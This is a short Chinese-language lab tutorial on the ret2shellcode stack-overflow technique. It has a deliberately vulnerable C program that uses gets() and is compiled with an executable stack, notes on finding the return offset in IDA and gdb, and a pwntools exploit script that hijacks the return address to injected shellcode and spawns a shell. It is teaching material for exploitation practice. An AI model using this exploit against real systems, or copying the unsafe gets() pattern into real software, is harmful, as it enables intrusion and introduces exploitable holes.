0x00 条件

  • 没有执行shellcode 的函数,没有开启NX保护
  • 传入自定义shell code

**

0x01 ret2shellcode

  • shellcode 是黑客编写的用于实行特定功能的代码(短小精悍),通常是开启一个shell
  • exec(“bin/sh”,null,null)
  • 通常用汇编编写
  • 32bit/64bit

**

0x02 demo

demo1.c
gcc -fon-stack-protector -zexecstack demo1.c -o demo1

  1. #include <stdio.h>
  2. char buf2[200];
  3. int main(){
  4. setvbuf(stdout,0,2,0);
  5. char buf[20];
  6. printf("what's your name: ");
  7. gets(buf);
  8. printf("leave message: :");
  9. gets(buf2);
  10. puts(buf2);
  11. }

0x03 攻击思路

  • 栈溢出劫持到buf2地址
  • buf2地址写入shellcode4
  • shellcode 可以用pwntools 生成

0x04 调试

image.png
打开 ida 反编译 查看buf 的地址
image.png
buf 地址为 0x601080

gdb 调试 查看返回地址偏移

生成垃圾数据 到get(buf)时填入
image.png
到ret 时计算偏移 buf 到返回地址偏移为40**
image.png

0x05 exp

  1. from pwn import *
  2. context.arch="amd64"
  3. p=process('./demo1')
  4. buf2=0x0000000000601080
  5. payload=b"a"*40+p64(buf2)
  6. p.recvuntil("name:")
  7. p.sendline(payload)
  8. p.recvuntil("message")
  9. shellcode=asm(shellcraft.sh())
  10. p.sendline(shellcode)
  11. p.interactive()